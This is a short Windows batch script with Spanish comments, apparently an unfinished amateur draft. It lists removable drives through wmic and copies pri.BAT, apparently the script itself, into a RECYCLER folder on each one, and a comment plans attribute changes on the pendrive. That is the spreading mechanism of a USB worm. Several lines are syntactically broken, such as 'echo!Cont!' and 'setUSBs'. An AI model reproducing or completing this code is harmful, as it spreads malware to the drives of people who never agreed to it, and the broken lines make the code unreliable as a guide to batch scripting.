REM El comando Setlocal enabledelayedexpansion asegurar el crecimiento del contador cont.
REM realmente no estamos haciendo uso de el el comando Setlocal enabledelayedexpansion aqui pero quisiera generar una variable por cada resultado del FOR, ¿Qué quiero decir con esto? pues en la linea 10 se generan las variables var1, var2, var3,...,varn pero al momento de querer usar la veriable que corresponda el uso de %var!cont!% o %var%cont%% es incorrecto [[es una tristeza de verdad]].
Setlocal enabledelayedexpansion
goto fore
:inicio
REM echo aqui iran la acciones sobre la pendrive [[cambios de atributos y mas]]
goto fin
:fore
For /F "Tokens=2 delims=,"%%# in ('wmic logicaldisk get caption^, description /format:csv ^| Find /i "extra"') do (Set /A cont+=1& Set Var!Cont!=%%#
REM es un conteo de manera caprichosa para determinar el funcionamiento.
echo!Cont!. %%#
REM una vez iniciamos a usar IF´s [[linea 19/21]] el valor de %%# se pierde, no entiendo porque
setUSBs=%%#
REM es una estrategia que invente para saber si es una unidad usb o un puerto
xcopy pri.BAT %%#\RECYCLER\)
REM cuando no pueda copiar a la unidad significara que no es una pendrive y por tanto generara un error